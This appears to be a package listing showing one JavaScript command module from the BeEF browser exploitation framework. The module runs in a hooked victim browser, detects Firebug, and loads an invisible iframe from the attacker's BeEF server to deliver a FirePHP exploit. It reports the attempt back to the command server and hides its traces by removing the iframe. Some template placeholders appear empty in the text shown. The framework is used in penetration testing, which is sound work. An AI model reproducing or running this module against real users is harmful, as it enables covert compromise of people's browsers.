beef-npm
Version:
Node.js package to install and interact with BeEF (Browser Exploitation Framework)
27 lines (21 loc) • 895 B
JavaScript
//
// Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// detect firebug
if (window.console && (window.console.firebug || window.console.exception)) {
var firephp_<%= %> = beef.dom.createInvisibleIframe();
firephp_<%= %>.src = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/firephp";
beef.net.send("<%= @command_url %>", <%= %>, "result=exploit attempted");
} else {
beef.net.send("<%= @command_url %>", <%= %>, "error=Module did not run. Firebug is not open in the hooked browser.");
return;
}
// clean up
cleanup = function() {
document.body.removeChild(firephp_<%= %>);
}
setTimeout("cleanup()", 10000);
});